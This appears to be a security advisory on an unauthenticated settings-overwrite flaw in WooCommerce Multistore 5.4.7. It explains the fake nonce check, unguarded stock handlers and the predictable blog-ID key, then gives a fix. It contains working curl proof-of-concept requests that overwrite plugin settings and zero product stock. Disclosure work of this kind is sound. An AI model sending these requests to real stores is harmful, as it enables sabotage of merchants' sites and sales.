# Unauthenticated Settings Overwrite in WooCommerce Multistore: CVE Research

> Exploit WooCommerce Multistore 5.4.7 unauth settings overwrite via curl POST to admin-ajax.php. Fake nonce, stock zeroing, SQLi via predictable key=1

- **URL:** https://hackindex.io/research/unauthenticated-settings-overwrite-woocommerce-multistore
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Published:** 2026-09-10
- **Updated:** 2026-09-11

WooCommerce Multistore 5.4.7 registers approximately 20 AJAX handlers unconditionally on every WordPress request. Three distinct vulnerability chains allow an unauthenticated attacker to overwrite site-wide settings, manipulate product stock across all connected stores, and on multisite enumerate a low-entropy integer key that unlocks a further thirteen write, delete, and SQL injection handlers.

## **How the WooCommerce Multistore Authorization Bug Works**

### **Every AJAX handler is registered before authentication is established**

`woocommerce-multistore.php:342` calls `init()`, which instantiates every AJAX class unconditionally on every WordPress request, including frontend page loads by anonymous visitors. WordPress defers the `wp_ajax_nopriv_*` hooks to unauthenticated users by design, so registering them here with no guard means any visitor can reach them.

### **The nonce check is fake**

`includes/ajax/class-wc-multistore-ajax-settings-master.php:27-33`:

```php
add_action( 'wp_ajax_nopriv_wc_multistore_save_master_settings', array( $this, 'wc_multistore_save_master_settings' ) );

public function wc_multistore_save_master_settings() {
    if ( ! isset( $_POST['nonce'] ) ) {
        wp_die();
    }
    // nonce value is never passed to wp_verify_nonce()
```

`isset()` tests existence, not authenticity. Any POST body that includes a `nonce` key with any value passes the check. Sending `nonce=1` is enough.

### **Arbitrary settings reach the database**

The handler immediately deserializes the attacker-controlled `settings` POST field and passes it to `WC_Multistore_Settings->save()`:

```php
$serialized_settings = $_POST['settings'];
$settings = array();
parse_str( wp_unslash( $serialized_settings ), $settings );

$WC_Multistore_Settings = new WC_Multistore_Settings();
$WC_Multistore_Settings->save( $settings );
```

`save()` in `includes/admin/class-wc-multistore-settings.php:110-135` writes the result directly into `wp_sitemeta` via `update_site_option( 'wc_multistore_settings', ... )` without validating any individual field.

### **The overwrite propagates to every connected child store**

After persisting locally, `save()` calls `send_settings_to_child()` for each store registered in the network. A single unauthenticated POST to the master store corrupts the configuration of every child store in the deployment.

### **Stock handlers have zero guards at all**

`includes/ajax/class-wc-multistore-ajax-stock-child.php:18` registers `wp_ajax_nopriv_wc_multistore_child_receive_stock` with no nonce, no key, and no capability check:

```php
public function wc_multistore_child_receive_stock() {
    $child_id = wc_multistore_product_get_slave_product_id(
        $_REQUEST['master_product_id'],
        $_REQUEST['master_product_sku'],
        $_REQUEST['language']
    );
    $wc_product = wc_get_product( $child_id );
    $wc_multistore_child_product->update_stock( $_REQUEST['stock_quantity'] );
}
```

`$_REQUEST['stock_quantity']` flows without transformation into the stock update. An attacker can set any product on any child store to 0 or to an arbitrarily large number.

### **Thirteen more handlers are gated by a predictable integer**

`class-wc-multistore-site.php:226`:

```php
if ( empty( $data['id'] ) ) {
    $this->set_id( get_current_blog_id() );
}
```

On a standard WordPress multisite, `get_current_blog_id()` returns 1 for the main site, 2 for the first subsite, and so on. Thirteen AJAX handlers are guarded by comparing `$_REQUEST['key']` against this value:

```php
if ( empty( $_REQUEST['key'] ) || $_REQUEST['key'] != WOO_MULTISTORE()->site->get_id() ) {
    return;
}
```

On a default installation, `key=1` passes every guard. The handlers unlocked include `wc_multistore_connect_child_site`, `wc_multistore_delete_child_product`, `wc_multistore_delete_refund_order`, `wc_multistore_reset_child_site`, and eight others. `class-wc-multistore-order-refund-child.php:38,51` contains unparameterized `$wpdb->query()` calls reachable through these handlers, turning the predictable-key weakness into an SQL injection path.

| **Selector** | **Guard value** | **Result** |
| --- | --- | --- |
| Default multisite main site | `key=1` | All 13 handlers unlocked |
| First subsite | `key=2` | All 13 handlers unlocked |
| Large network | `key=N` (brute-force) | All 13 handlers unlocked |

## **Proof of Concept**

**Requirements:** WordPress with WooCommerce Multistore 5.4.7 network-active. No account, no session cookie, no valid nonce.

```bash
curl -s -X POST https://TARGET/wp-admin/admin-ajax.php \
  -d 'action=wc_multistore_save_master_settings&nonce=1&settings=synchronize-stock%3Dyes%26publish-capability%3Dadministrator'
# {"status":"success","messages":["Settings Saved"]}
#
```

Confirmed on a local test install. The resulting row in `wp_sitemeta` after the request:

```
synchronize-stock";s:3:"yes";s:19:"publish-capability";s:13:"administrator"

```

No cookies, no session, no credentials of any kind.

To confirm the stock handler independently:

```bash
curl -s -X POST https://CHILD-SITE/wp-admin/admin-ajax.php \
  -d 'action=wc_multistore_child_receive_stock&master_product_id=1&master_product_sku=SKU1&language=en&stock_quantity=0'
```

## **Impact**

An unauthenticated attacker can overwrite all plugin settings stored in `wp_sitemeta` on the master store, with those settings immediately propagated to every connected child store. Affected settings include stock synchronization behavior, product sync rules, and API credential fields. Redirecting synchronization to an attacker-controlled endpoint is possible without any authenticated access.

On child stores, the stock handler requires no key at all. An attacker with no account can set any product's stock to zero across the entire network, effectively taking all connected WooCommerce stores offline for customers.

On multisite installations the predictable blog ID key expands the attack surface to thirteen additional destructive handlers, including product deletion, order deletion, child site reset, and SQL injection via unparameterized queries in the refund handler.

## **Severity Assessment**

**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L = 7.5 (High)**

| **Metric** | **Value** | **Reason** |
| --- | --- | --- |
| Attack Vector | Network | Reachable via `admin-ajax.php` from the internet |
| Attack Complexity | Low | Single HTTP POST, no preconditions |
| Privileges Required | None | No account or session needed |
| User Interaction | None | No victim interaction required |
| Scope | Unchanged | Impact confined to the WordPress installation |
| Confidentiality | None | No data exposed |
| Integrity | High | Full overwrite of plugin settings, product stock |
| Availability | Low | Stock can be zeroed, disrupting sales |

In connected-store deployments where the master store pushes settings and stock to child stores, the effective blast radius is the entire multistore network.

## **Fix**

Every `wp_ajax_nopriv_` handler must be removed and replaced with `wp_ajax_` combined with a genuine capability check. The nonce field must be passed to `wp_verify_nonce()`:

```php
if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'wc_multistore_settings_nonce' ) ) {
    wp_die( 'Unauthorized', '', 403 );
}
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    wp_die( 'Forbidden', '', 403 );
}
```

The integer blog ID key used by the thirteen store-to-store handlers must be replaced with a random secret generated at pairing time:

```php
// On pairing:
update_site_option( 'wc_multistore_api_secret', wp_generate_password( 32, false ) );

// On each guarded handler:
if ( ! hash_equals( get_site_option( 'wc_multistore_api_secret' ), (string) $_REQUEST['key'] ) ) {
    return;
}
```
